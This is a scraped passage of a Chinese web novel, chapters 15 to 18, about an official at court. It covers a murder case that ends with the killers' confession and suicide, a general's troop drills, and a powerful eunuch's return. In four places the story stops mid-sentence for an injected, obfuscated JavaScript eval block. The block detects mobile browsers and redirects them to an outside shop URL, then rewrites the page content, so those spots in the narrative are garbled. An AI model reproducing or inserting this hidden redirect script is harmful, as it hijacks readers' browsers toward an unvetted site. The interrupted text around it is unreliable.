正此时,之前被派去监视城东南风馆的衙役跑了过来,刚跟贺兰舟迎面碰上,就大喊道:“大人,那吕饶今日并未去南风馆!” 贺兰舟心下一沉,只得让众人加快步子,他们、他们……到底什么时候漏了风声的? 等他们寻到那处人家时,大门大开,院子里一片沉寂。 贺兰舟率先迈进院子,一路朝屋中奔去,还未踏上台阶,便见屋中立着一道清绝人影。 那人长身玉立,一袭月白道袍,头戴银冠,正是顾庭芳。 “太傅大人?” 顾庭芳听到声音,回身望去,他这侧身之际,贺兰舟才注意到他身后的情境。 那房梁之上,麻绳麤紃,上坠着两人,皆衣衫齐整,不染分尘。 唯下摆飘荡,舌突肤青,死有多时。 贺兰舟愕然瞪大双眸。 吕饶——死了?! 15. 第 15 章 “大人,这些东西都是在此贼犯床下找到的。”一衙役将一个包裹打开,递到顾庭芳身前。 若是将那些东西装扮在人身上,正是那哑奴的衣裳、头发与脸上的皮肤。 如此,亦确定吕饶的好友,就是那哑奴,也……正是杀害闵王的凶手。 贺兰舟还处于震惊中,顾庭芳已是关切问道:“兰舟兄没吓到吧?” 他眉眼温和,好似真怕上面吊着的两人把贺兰舟吓个好歹。 贺兰舟回过神,摇摇头,看向顾庭芳,问:“太傅大人怎么在此?” 顾庭芳回:“本是奉陛下之命,去大理寺询问闵王一案的进展,恰好大理寺查到了些线索,我便跟着过来了。” 贺兰舟朝屋内逡巡了一眼,果然见到那位大理寺少卿。 下一刻,大理寺少卿手拿着封信过来,对顾庭芳恭敬道:“大人,这——应是凶手留下的认罪书。” 顾庭芳接过,细细看了起来,末了,轻叹一声,又将纸张递给了贺兰舟。 “贺大人是顺天府的人,闵王此案,顺天府也有参与,贺大人也看一下吧。” 贺兰舟瞧了眼少卿,见后者并无反对之意,亦没有推辞,接过信,与吕锦城二人一同看了起来。 【吾:吕饶,吾:阮青,自知罪该万死,升斗小民,哪敢与日月争辉?吾二人之罪,认矣。杀人者,当偿命,吾等自不苟活。但闵王之恶,天地星辰不可抹,山川之河不可洗。其罪,亦当被万人所知,为世人所唾,当受阿鼻地狱之苦,满身血污而亡……】 仅是一个开头,字字句句皆是愤恨,字透纸背,可见写信之人写下这么一段文字,是有多痛恨闵王。 信中交代,哑奴正是吕饶好友,阮青所假扮。二人都曾是左都之人,幼年时,也是相好的玩伴。 后来,阮青举家搬迁,二人没了音讯。 而吕饶因家道中落,不得以卖艺为生,却被闵王看上,闵王不顾其意愿,在邀他入府弹奏之后,强占了他。 吕饶在闵王府足足待了七日,离开时,满身是伤。 信中还道,如吕饶的男子,在闵王府多不胜数,闵王是个十足的禽兽。 一年前,吕饶上京,偶在郊外踏青时,遇到赏花弹曲的阮青,袅袅之音,萦绕不绝,吸引着吕饶上了前。 反应过来的吕饶,见到面前的男子,第一个想法是离开,可那人唤了他一声:“阿饶。” 幼时称呼,出自幼年玩伴。 二人相认,又以琴音相交,再为知己。 【我二人素来寡语,为乐一道,甚乐哉。我二人常于城外相见,奏乐而和,南风馆之人的确不知我二人关系,他们亦与此案无关。当日,吾阮青以白纱覆面,身着白衣,形容与阿饶当日在左都闵王府一般无二……】 人喜欢的事物,哪怕失忆,都不会变。 虽然闵王并不记得,自己曾经侮辱过那样绝世出尘的儿郎,但当阮青以那样一副姿态出现时,闵王还是喜欢的。 甚至,在阮青故意含情脉脉扫他一眼,又朝他身后几个侍卫使了个眼色后,闵王甩开护卫,紧跟上前。 将阮青拥入怀中时,其人顿时如入云烟,已忘自己乃凡间人。 阮青告诉他:“明日亥时三刻,于此‘一’字房中见,只是切不可让他人所知。妾非南风馆之妓,若被他人发现,自己便再无活路。” 闵王早被美色冲昏头脑,哪会想这其中奇怪与诡异之处,自满口答应。 而南风馆每到亥时便会换值,哑奴正趁此时进了那间房,南风馆众人亦不会在意一个早该下值的哑奴在哪儿。 等到闵王进了那间房,等待他的便是蓄意已久的绞杀。 按说,吕饶被辱之事已过了许久,又有好友相伴,即便再见闵王,也不会有此杀心,更何况阮青? 但奈何闵王虽失忆了,却死性不改,早在他去逛南风馆的第一日,又看中了乐师吕饶。 【阿饶乃是乐师,岂容他如此羞辱?阿饶逃脱之后,将此事告知于我,我阮青自知不是好人,可闵王更不该活!昔有豫让斩衣三跃,今吾一击即中,虽不敢与先人比之,却畅快至极。 然吾亦有私心,古有伯牙子期、亦有阮白之交,吾二人虽身份低微,不足与先辈自比,然阿饶有苦,吾自不当漠然视之。】 这封信的内容,多是出自阮青之手,而在信末,是吕饶写的一段。 【吾吕饶,一生挚友阮宁康。宁康既死,吾亦不独活,我二人生来干干净净,死后亦一尘不染。若无入坟之可能,惟愿我二人魂魄不分。】 最后一句【只是,犹忆当时皖皖同朝露,不计星星向暮岭】。 吕饶说得对,他们就是干净的,哪怕离去,也要一身白衣,无分毫杂污。 贺兰舟又环顾了屋子四处,亦是整齐干净,他想,吕饶住处出现的妇人,亦是得吕饶托付,在这最后的时候,他的一切都是干干净净的。 可能,他们从始至终都没想过逃,亦或是,在看到贺兰舟的那一瞬,吕饶便猜到,他们迟早会暴露。 但无论那种可能,贺兰舟对二人都是敬佩的。 而在衙役将二人的尸体搬下来时,贺兰舟第一次正视凶手阮青。 如同他的文字,他的长相偏锋利,眉目清秀,他身上侠气与义气并存,若他还在翰林院编史书,是要为他开一篇“刺客列传的”。 “案子既已清楚,二位大人便结案吧。” 顾庭芳一句话,闵王的案子终于终结。 贺兰舟奉命将这封“认罪书”誊抄了几分,分别送到大理寺、东厂和锦衣卫,各处盖了官印,这案子才算了结。 只是,贺兰舟无论如何都不会想到,这桩案子会以这般惨烈之态结束。 孟知延得知此案已结,怕贺兰舟心中郁郁,次日便跟吕锦城邀他去城外踏青游玩。 路上,贺兰舟也没提起什么兴致。 系统又到了签到上线的时候,打开面板,用机械音一字一句道:【请宿主签到并答题。题目:请释意:不教而杀谓之虐;不戒视成谓之虐。】 贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他满脸写着“我可真是个大好人”,看得贺兰舟眼皮直跳跳。 孟知延倒是懂得贺兰舟几分,等三人到了城外,吕锦城跑去小解时,他看着贺兰舟,安慰道:“我知兰舟是个心善的,你心中定然为二人遭遇感到不公。” 他轻叹了声,仰头望向天边,“只是,这天下不平之事多了,你能管得过来?” 今日天光正好,头上的云朵都是大片大片的,形状不一,煞是可爱。 孟知延望着望着,笑了下,“所以,兰舟,你不妨就做那天上的云,顺风而动便好。” 如今的朝堂,指望着谁做贤臣啊? 谁有这想法,谁就是蠢! 贺兰舟顺着他的视线,望向天空,他想,他不想做顺风而动的云,而是洁白无瑕的云 贺兰舟未答,孟知延也没指望着他答,深深看了他一眼,听到身后传来草动,扭头望过去。 吕锦城扒着草,从一边钻出来,看着二人就兴冲冲道:“你们猜,我看到谁了?” 二人不解,异口同声问:“谁啊?” 吕锦城:“姜满!” 贺兰舟、孟知延:! 16. 第 16 章 满意地看着两人惊讶表情,吕锦城接着道:“哦,他在演练大军。”语气四平八稳。 孟知延闻言就要走,“咱们还是躲着那个瘟神吧。” 贺兰舟一把拉住他,“等会儿,我们瞧瞧再走。” 孟知延只觉他是个不怕死的,本想拉上吕锦城,让他一起劝贺兰舟,哪成想吕锦城是个不怕事、胆子大的,当即非常同意。 拗不过二人,孟知延捂着脸,跟在二人身后。 穿过一片油菜花地,一行三人来到姜满练兵的地方。 姜满身着一身铠甲,看着副将指挥士兵们挥刀、砍杀,士兵们的气势十足,喊声震天。 贺兰舟真没想到,姜满练兵,竟如此明目张胆,简直嚣张至极。 那日太傅大人奉命去城外查看,岂不就是见到了这一幕? 太傅大人对小皇帝忠心耿耿,只怕见此一幕,心中定然波澜不止。 贺兰舟正胡思乱想,那边吕锦城砰砰他胳膊,朝姜满大军对面的方向努了努嘴,“你们看,那边就是左都的士兵。” 如今闵王的案子结了,闵王的死自然瞒不了了。 只不过,闵王毕竟是皇室之人,虽有吕饶阮青二人的认罪书,但也没人会把闵王治罪,是以,闵王身后名声依旧。 且小皇帝别的事都含糊,但事关皇室的脸面,在看到认罪书时,当即做主将这书信少了,就连贺兰舟誊抄的那几份,也都给烧了。 世上,恐怕除了那些受辱的儿郎,怕是再无人知道他有多可恨可恶了。 三人看了一会儿,发现姜满这头士兵井然有序,而对面已是乱成一团。 对面吵个不停之际,姜满似乎对副将程素耳语了几句,程素叫来小兵,吩咐了些什么。 不一会儿,就见一队小兵端着一盆盆的肉,往对面左都扎营的方向去了。 “啧,我爹说得没错,果然是乱臣贼子。”吕锦城眯着眼看那一队小兵。 贺兰舟也知,这是姜满有心收买左都士兵,也不知道闵王一死,朝堂为争他的兵,又会掀起怎样的风波。 三人生怕姜满会发现他们,只又看了一会儿,便结伴离去。 他们是出来赏玩美景的,虽遇到姜满练兵这一遭,倒也没忘了游玩一事,等离这两方人马远了,三人也就放肆起来了。 这一番游玩,一直到傍晚时分,三人才算尽兴,而贺兰舟心中的郁结之气也散了不少。 为了避免遇到姜满的士兵,三人并未按原路返回,而是特意绕了远路。 他们来这城外,带了些干粮,玩了一天,吃食也都尽了。 回去的路上,吕锦城肚中有些空空,揪了一个树上的青果子,就吃了起来。 贺兰舟喊停不及,见他一口咬了半个,果子清脆多汁,有汁水溅到他衣襟,贺兰舟道:“你也不怕这野果子有毒。” 吕锦城一边嚼,一边斜眼看他:“榕檀,这京城郊外的果子若是有毒,你猜它还会不会在这儿?” 他噗嗤一笑,又玄乎道:“榕檀不必担心,我爹说了,我命中乾坤运转,皆是好运,定大富大贵、长命百岁。” 贺兰舟:“……”怪不得做事这么垃圾。。。 不过,吕锦城也没得意多久,那果子吃了不到半刻,肚子就开始绞痛。 “不、不行了,我要去……” 话还没说完,人就跑到远处的矮草堆,一边跑,还一边翻袖子。 等全身翻了个遍,“嗷”一声大声喊:“我没带厕纸,给我送纸啊!” 贺兰舟、孟知延:“……” 二人对视一眼,无奈摇头,这人要去“拉金汁”,活该他吃那野果子! “吕兄如此跑跳,倒有些像市集上耍的猴戏。” 贺兰舟瞧着远处那上蹿下跳的背影,也忍不住笑出声。 笑过后,二人也开始翻找厕纸,奈何都翻遍全身,愣是没了零星。 两人大眼瞪小眼,都呆了。 贺兰舟:“我、我没有。” “我也没有。”孟知延摊手。 无可奈何,他们只能给吕锦城弄点儿树枝和树叶,末了,贺兰舟将袖中的帕子递了上前。 他认真嘱咐孟知延:“无方兄,万望告诉他,这帕子我不要了。” 看他那郑重地神情,孟知延一愣,盯了他瞧了几眼,反应过来,这是在揶揄吕锦城。 孟知延登时笑出声,指着他:“你啊你,兰舟兄真是越来越顽皮了。” 等孟知延给吕锦城送纸,贺兰舟闲着无聊,又往前走了走。 这处道路略高一些,两边各有缓坡,下去便是青青田野,右边隔着田野,还有一条河。 贺兰舟站在高地往下望了望,见远处现出一道人影,阳光一晃,他那身上的铠甲泛着光,刺得人眼睛疼。 贺兰舟闭了闭眼,再睁开,看清了那人,正是姜满。 姜满在下,他在上。 姜满是个武将,行兵打仗,首要一点便是审查地形,是以,他往贺兰舟他们来时的方向行进时,也没忘上下左右打量。 他眼神瞟到小路上方时,贺兰舟怕被他发现,忙猫了下来。 等人走远了,他才起身,然后缓缓下坡,看姜满要去何处。 在他心中,姜满才是这朝中头一号的逆臣,也不知他独自一人来此处干嘛。 念着太傅对姜满顾忌,贺兰舟握了握拳,面容整肃地紧紧盯着姜满的后脑勺。 系统读懂他心里的戒备,满脸无语。 “宿主,你的任务二,可是要赢得反派的感动值的!怎么能如此戒备!” 贺兰舟懒得跟系统辩,躲在树后偷看姜满。 但他怎么也没想到,姜满会把衣服脱了,那一层铠甲、一层外裳落地时,贺兰舟有些傻眼。 待姜满又向小河的方向行去时,他才反应过来,姜满是来洗澡的。 他捂住眼睛,嘴里默念:“非礼勿视。” 只不过,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340593|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻,就听“哗啦”一声水响,伴随着一声“救——”。 贺兰舟好奇睁开眼,见是姜满摔到小河里,翻腾了几下,待发现自己能站住,收了声。 见此一幕,贺兰舟瞪圆了眼睛,原来、原来……姜满不会水! 姜满上身已脱了精光,一身小麦色,肌肉遒劲,发冠未散,还是一副风神轩举的模样。 他在小河中站稳脚跟,先是四下张望,似是没瞧见生人,暗暗松了口气,随后目光落在岸边,又恢复那不苟言笑的模样。 脸色阴沉得可怕。 系统:“哎呀,反派踩到果核摔倒了。” “嗯?” 贺兰舟隐隐有不好的预感。 系统还在恨铁不成钢,见他还不想抓住此时机,试图激发他做任务的决心,“他刚刚险些遇险,现在正是需要宿主……” 不等说完,贺兰舟问他:“姜满是不是怕水?” 系统“呃”了下,回:“是。” 贺兰舟眯了眯眼睛,眸光看向将身子低入河中的姜满的背影。 系统:“宿主,你不把握这次机会吗?这是多么难得的你与反派单独相处的机会啊。” 贺兰舟撇嘴:“你信不信我此时敢去,姜满就敢把刀架我脖子上?” 系统:“嗯……不会吧。” 贺兰舟嘲讽:“呵,天真。” 见姜满只是来此洗澡,贺兰舟不再多待,转身朝小路上爬去,未想脚下一滑,险些摔下去。 姜满耳灵,贺兰舟脚下踩到树叶的声音被听了去,他眸光陡然一厉,于河中转头喝问:“谁?!” 贺兰舟闻声,扭头就跑,一个蹿身,就爬上了缓坡,走上大路,见到吕锦城二人,忙飞奔过去,拉着两人沿着另一侧缓坡而行。 确保姜满看不见他们,他才松开二人的手,喘了口气说:“姜满在洗澡。” 这话一说完,两人视线不可描述地投来,吕锦城眯着眼睛问:“你不会看光人家了吧?” 贺兰舟:“呃……” 孟知延:“啧,不会是近些时日,兰舟兄逛南风馆逛得太多了吧。” 贺兰舟:“呵呵。” 那二人挑眉邪笑,端的可恶,他瞪着二人,咬牙切齿:“闭嘴!” 见他气怒,这二人笑得更放肆了,贺兰舟被他们笑得太阳穴直突突,眼神死死盯着他们。 盯向吕锦城时,他猛地想起系统说,姜满是踩到果核摔进河里的。 姜满刚刚洗澡的地方…… 贺兰舟想到吕锦城吃下的那颗青果子,果子吃完,吕锦城对他们道:“你们且看我能扔多远。” 彼时,贺兰舟无语地想:无聊,“小垃圾”乱扔垃圾! 下一瞬,吕锦城手中的果核就飞奔出去,从小路砸到缓坡之下,也不知滚到了哪处。 “所以……”他在脑中问系统:“姜满踩的那颗果核,是吕锦城扔的?” 系统简答:“……是哦。” 17. 第 17 章 河里的姜满,只来得及看到偷看者一片墨蓝衣角,身姿灵巧,煞是可恨。 他上了岸,将衣裳穿好,待走上大路时,自然已不见了他人踪影。 他压低眉眼,脸色阴沉地回了营地。 离老远,副将程素看到他,迎了上去,一边欣喜道:“那群左都士兵,各个都是个软蛋子。他们背井离乡,又没了主将,一个个丧眉耷眼……” 姜满打断他:“查一下,今日都何人出城了?” 正满口的芬芳要说,程素一下子愣住,“啊?” 姜满凝他一眼,程素忙回:“是,侯爷。” 不过半日,程素就将今日出城人的名单拿了过来,他虽不知姜满要这名单做什么,但瞧着侯爷的面色,此事一定不妙。 知晓姜满的脾气,他轻咳了声,立在姜满身后,不言不语。 姜满翻着名册,掠过那些贩夫走卒之流,观那人衣裳,虽不算大贵之人所用,却也是上等的料子。 旋即,他的目光落在一处。 “吕锦城,孟知延,贺兰……舟。” 姜满并非京城之人,从江北而来,也不过一年,如贺兰舟、孟知延这样的小官,实在入不得他眼。 但吕锦城,乃是户部尚书吕振之子,他却是知道的。 吕振那老匹夫,中饱私囊、谄媚巴结,能生得什么好儿子? 毫不意外的,他将那人锁定在这三人中。 一丘之貉、蛇鼠一窝! * “阿嚏。” 回到家中,贺兰舟烧水洗衣洗澡,待一切收拾妥当,发还未干。 窗半开着,一阵微风袭来,忍不住打了个喷嚏。 贺兰舟揉揉鼻子,拿过一本话本子看起来。 闲暇时,他最喜看话本子,毕竟与前世不同,这里什么娱乐都没有,能有话本子看,已是“大吉大利”。 明日还有早朝,他也未看多时,月亮挂上正中,他才意犹未尽地躺去睡觉。 次日一早,朝中又发生了一件大事—— 闵王世子入京了。 闵王世子,名唤薛有余,今年二十有八,在闵王一众杂草般儿子当中,算是个有出息的小笋尖。 薛有余有一妻两妾,但据说成婚十年,至今未有个孩子,也正因如此,他下面的几个弟弟蠢蠢欲动。 奈何,如今闵王死了,不出意外,他会接管左都,继王位。 薛有余一进京,先是去了闵王府邸,看了他老爹尸身一眼,便赶紧入宫觐见。 小皇帝见人来了,又对自己毕恭毕敬,那张稚嫩的小脸上,挂起一抹真诚的笑。 “世子平身,你一路奔波,可去见了……皇叔?”小皇帝迟疑了瞬,到底把“尸身”二字吞了回去,末了又道:“世子节哀。” 薛有余听到小皇帝这话,眼泪“唰”地就落下来,声音哽咽:“感念陛下恩德,若非陛下看重,父王只怕到现在都不得安息,那两个贼人实在大胆,在这天子脚下,也敢行那等残忍手段。” 贺兰舟站在后面,暗叹:这朝中上下,没一个不会演戏的。 薛有余不恨吗? 他也不是个傻子,想必也知道闵王来京城这一趟,多数朝臣是想要他们左都兵权的。 他看似感念小皇帝着人破案,查出凶手,可到底闵王死了。 他又说这是“天子脚下”,实则暗讽小皇帝连手下人都管不好。 对于他来说,是万万不能接受闵王只是死在两个无名小卒手里,更何况,还是因为那等子事而死。 可另一方面,闵王死了,他身为世子,不必再等上许久,也不必日日担忧底下几个弟弟暗害,他只需尽快回到左都,就是新一代的闵王。 小皇帝虽小,但登基两年以来,看着满朝文武争论不休,多少也是有城府的,薛有余言外之意,他自是听得出来。 他握紧一侧的把手,紧了下眉心,又微微舒展,道:“皇叔一案,已然查清,那两个凶手尽已伏法。皇叔忠君爱国,应朕之邀入京驻营,实乃忠义之举,朕不忍皇叔身后无雅名,亦不忍与皇叔分别。遂——” 小皇帝顿了下,轻瞥了眼顾庭芳,见后者颔首,缓缓出口:“遂着皇叔葬入皇陵,赐谥号‘文忠’。” 薛有余大惊,他入京本是因为闵王昏迷不醒,他要揽左都的兵权,不让兵权旁落,奈何还未入京,在路上便听到闵王噩耗,如此一来,左都的士兵,就更拖不得了。 可如今小皇帝竟打算把父王扣在京城? 薛有余心下一沉。 小皇帝的话一出,朝堂上有镇静的,亦有惊疑的,贺兰舟和旁边站着的孟知延对视一眼,都在对方眼中看出惊讶之色。 小皇帝若真把闵王葬入皇陵,这薛有余只怕一时半会儿也走不了了。 看来,左都的兵权,真是人人想要啊! 薛有余是真不傻,小皇帝起初是用左都的士兵来牵制姜满的军队,他父王一死,左都士兵犹如一盘散沙,他来了,军心还算稳,可若他也凶多吉少呢? 且现在看来,他父王的死就算不是小皇帝授意,那也不见得小皇帝不会乐见其成。 薛有余垂下头,两只眼睛看着地面飘来飘去,琢磨着该如何是好。 过了一瞬,他双手贴地,叩头而拜,“臣谢陛下厚德,但先帝赐父王左都封地,父王一生庇佑左都,若无法魂归左都,岂非愧对先帝恩德?” “真是好大的胆子!”沈问冷笑:“世子这话听着是谢陛下,但我怎么觉得,是拿先帝来压陛下啊!” “臣不敢!”薛有余惶恐匍匐在地,额头紧贴在冰冷的金砖之上。 “沈大人是多想了。”顾庭芳道:“世子所言也不无道理,陛下贵为皇帝,可先帝亦是其父,我大召,以孝治天下,也不能让陛下染上骂名才是。” 见有人为自己说话,薛有余微抬起头,赶紧磕头:“正是正是,臣绝别无他意啊!” “世子与闵王殿下一片赤胆忠心,陛下怎会怀疑?”顾庭芳温和一笑,“世子莫要再磕了,陛下也是会心有不忍的。” 薛有余舔舔唇,惊疑不定地看了眼顾庭芳,又抬头瞧向小皇帝。 小皇帝:“太傅所言正是,世子哥哥,还是起身吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340594|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈问见薛有余颤悠悠起来,眸光凉凉瞥向顾庭芳,冷哼了一声。 半晌,他眯起眼睛,又说:“太傅,可陛下亦是感念闵王所为,这入皇陵可是无上的荣耀,闵王虽入京不久,可其人坦坦荡荡,实令我等敬佩,若闵王被世子带回左都,我等朝臣怕是只知日日享乐,谁会向左都方向,遥祭于他?” 沈问特特将“坦坦荡荡”加重了语气,听得贺兰舟等人在后面直抽嘴角。 但如此一幕,贺兰舟也是看明白了,这太傅是和沈问一个唱白脸,一个唱红脸呢! 果然,沈问这话一落,顾庭芳就道:“若你我心中有闵王之功德,即便远在左都,又岂会忘?” 薛有余刚刚提上的心,在听到顾庭芳的话后,又轻轻一落。 魏副将果然说得对,太傅是这朝中唯一的善类! 薛有余忙上前,再一叩头:“陛下,太傅所言,不无道理啊!再者,母亲和臣的那些兄弟还在等父王归家,若臣一人回去,只怕也无法交代啊!” 小皇帝抿着唇,静了好久,好半晌,轻轻一叹,道:“朕非那无情无义之人,皇婶素来与皇叔恩爱不疑,若朕因思念之情强留皇叔,只怕也让皇叔不得安宁。哎,既是如此,那皇叔便由世子带回左都吧。” 小皇帝说完,还真的面露遗憾,但薛有余是真欢喜啊! 他知道,现在的局势对他很是不利,左都大军虽在城外可他若走不出京城,只怕随时会死。 如沈问之流,肯定是不会让他活着的! 是以刚刚入宫还精神奕奕的世子,此时此刻已满头大汗,如霜打了的茄子一般, “臣叩谢陛下。”薛有余道:“左都与京城甚远,臣即刻启程,以望母亲能再见父王一面。” 说完,他等着小皇帝应声,头上刚传来一声浅浅的“嗯”,下一刻,身后传来清亮一声:“且慢!” 朝堂之上,先是沉寂,随后一众大臣议论纷纷。 “是解掌印!” “解掌印回来了!” “解掌印竟也今日回了京,今日可是热闹了!” “……” 薛有余惨着张脸,木然回过身。 大殿的百官分列路边两排,为那人让出路来。 那人肩头洒满日光,从殿外缓缓而来,身着一身御赐过肩四爪龙云纹圆领蟒袍,头戴官帽,腰间白玉带,步伐沉稳,眸光却锐利。 见到他,小皇帝一瞬站起来,满目惊喜:“解内臣,你回来了!” 解春玿先是冲小皇帝拱手拜见一番,末了,垂眸看向薛有余,缓声道:“世子不必急着走,陛下感念闵王有功,你是闵王之子,何不让陛下顾念你一番?再说,陛下与你又是堂兄弟,你如今来京入宫,陛下亦不能让你就这么匆匆离京啊,世子不若在宫中小住一段时日。” “我……” 不等薛有余开口,解春玿又道:“至于闵王尸身不必担忧,我已命人将闵王尸身放在冰床之上,可保尸身月余不腐。” “可是我……” “嗯?” 解春玿问:“怎么,世子有异议?” 18. 第 18 章 书中曾说,这位解内臣,性持重,不妄言笑。 如今一见,何止是不妄言笑,简直比阎罗还可怕。 当然,这是薛有余眼中的解春玿。 贺兰舟观其,第一眼是惊艳,第二眼才想起,这人是个宦官。 可无论从人家的身姿,还是相貌、谈吐,都丝毫与“宦官”二字联系到一起。 解春玿长相并不阴柔,反而还有些武将的俊逸,长眉入鬓,眉眼犀利,薄唇微微勾起,略显几分凉薄。 与对顾庭芳的尊敬不同,在解春玿一踏入大殿,小皇帝不顾仪态站起身时,贺兰舟便从小皇帝神情中,看出喜悦之意。 他好奇问系统:“为什么小皇帝见到解春玿,看起来那么欢喜?” 大抵是为了突出解春玿是个臭名昭著的权宦,书中一直称解春玿为“解掌印”,偶有小皇帝出场,也是唤他“解内臣”,倒没写过他名字。 彼时,他还是从系统那儿得知,他要攻略的一号反派是个宦官,名唤“解春玿”。 “宿主有所不知,解春玿曾救过先帝,获赐蟒袍,后被先帝一路提拔,是朝中说一不二的大太监。” 系统又道:“他这人生若不论前十三年,倒是一路顺遂。先帝死后,他与太傅顾庭芳共同扶持小皇帝,如今亦是一人之下万人之上。” 贺兰舟:“说些我不知道的。” 他当然知道,先帝死后,大将军林风澜起兵造反,解春玿在京中与顾庭芳合力阻止杀尽皇室子弟。 但奈何,林风澜太疯,先帝的儿子几乎被杀个干净,唯二的两个,一个是现在上面坐着的幼帝薛起,一个便是趁乱逃亡的三皇子薛时。 哦,当然,薛时失踪已久,活着的可能,只怕微乎其微。 系统清清嗓子,重新道:“咳咳,此事说来话就长了。小皇帝为宫女所生,素来在宫中不受重视,一次被几个皇子欺负,跑的时候不小心跌到地上,前一天正下了场大雨,他从地上爬起来,满身是泥。” 哦豁!开局就这么惨,现在身边也是群虎环伺,小皇帝真有些惨。 “那几个皇子看他如此模样,自是笑话他,他羞得往前跑,却撞到了解春玿身上。” 系统为了让贺兰舟身临其境,还特意用面板给他调出当时场景,讲说起来,一脸兴致勃勃。 “解春玿把他扶起来,小皇帝认出他是当今最受先帝宠信的大太监,吓得直哆嗦。但这位人人闻风丧胆的东厂督主,竟给了他一个蜜饯。” 上了这么多天的朝,贺兰舟知道小皇帝年纪小,是有些孩子心性的,谁对他好,他总是知晓的。 在他当初那么孤立无援的境地,解春玿竟没帮着那群皇子欺负他,还给他蜜饯,自然对解春玿有不一样的感情。 面板上的画面停留在小皇帝从他手中接过蜜饯,低低向他道了声谢:“多谢你,解掌印。” 那时的小皇帝,也就八九岁的模样,说起话来奶奶的,很是可爱。 可解春玿似乎生性不爱笑,人家道谢,他也面无表情,仅是点了点头,然后眸光落在那群皇子身上。 先帝不是个疼爱孩子的人,甚至他使尽了计谋,想让自己的儿子们相争,哪怕头破血流,他都不在乎。 因为,他要选一个真正的、天下的君王。 但这些皇子可没有先帝半分胆量,见到解春玿,一个个吓得够呛。 那时,朝中关于解春玿的传言就很多了。 其中最让人恐惧的就是,他杀人不眨眼。 曾有人骂解春玿“阉狗”,既嘲笑他的名字女气,又嘲讽他不能人道,被其听到,解春玿当街提剑斩杀。 那血溅了他满脸,他自岿然不动,甚至连睫毛都没动一下。 自那之后,再无人敢唤他的名字,人人只称他一声“掌印”。 当时贺兰舟知道反派一号的名字时,也愣了下,总觉得和书中描述他的样子不匹配,这名字也太春风细雨了,难怪没人唤他“名姓。 眼前面板上的画面又动了动,解春玿着人送小皇帝回寝殿,在其走后,那几个皇子受不住这样被人无视,暗骂他“阉狗”。 而下一刻,晚间时分,一个皇子腹痛不止,蹲了一夜的夜壶,又一个皇子次日骑马,从马上摔下来,在床上躺了三月。 还有一个在太师让其背书时,偷瞧了伴读给的小抄,结果被正来此考察的先帝发现,先帝大发雷霆,杖责五十。 那时,跟在先帝身侧的,正是解春玿。 系统:“其实解春玿知道,很多皇子看不上他,背地里骂他‘阉狗’,但小皇帝却从未骂过。” 其实,大抵是小皇帝年纪小,不懂得什么逢高踩低。 想来,解春玿也正看中小皇帝这点,是以先帝死后,在所有皇子中,选了小皇帝辅佐。 贺兰舟如此想。 话说回如今,解春玿一句“怎么,世子有异议”,吓得薛有余身子一抖。 恰此时,上面小皇帝亦道:“如今皇室凋敝,我对堂兄一见如故,今日若别,也不知何时再见。解内臣所言有理,堂兄便留在宫中,住些时日吧。” 小皇帝都唤了“堂兄”,言语又如此“恳切”,薛有余头顶着解春玿的目光,却是一个字都不能反驳了。 否则,等待他的便是“不敬天子”的罪责。 舔了舔唇,他笼袖拱手叩拜,“臣遵旨。” 小皇帝顿时欢喜了,如此这般,朝堂上倒难得的有一种诡异的平衡。 散了早朝,贺兰舟登录签到页面,签到答题完,就寻到顾庭芳蹭起来。 “太傅大人,离上值还有一会儿功夫,你可要同我去城西喝完糖水?” 顾庭芳停了下,侧眸笑看他,“吾听闻,常饮甘水者,易内热、气上溢,转为消渴。” 贺兰舟冷不丁听这么一大串,没听懂,眨巴两下眼睛。 顾庭芳很善解人意,继续道:“此病损身之‘作强之官’,兰舟兄,还是少喝些为好。” 顾庭芳说着,上下扫着他,贺兰舟被他这么一瞧,忍不住打了个哆嗦。 等反应过来,才明白顾庭芳是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340595|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他糖水喝太多,容易得病,但是—— 他虚心请教:“‘作强之官’是什么?” 见他满脸单纯,顾庭芳略挑了下眉,眼前这个人,总能让他惊喜。 他略略压低身子,在他耳边低语。 与此同时,系统也机械出声:“宿主,顾庭芳在说你肾不好哦!” 耳畔那人的声音温和响起:“怕兰舟兄过饮太多,日后伤帷内雅事。” 贺兰舟小脸爆红,一向温文尔雅的太傅大人,怎会说如此玩笑?! 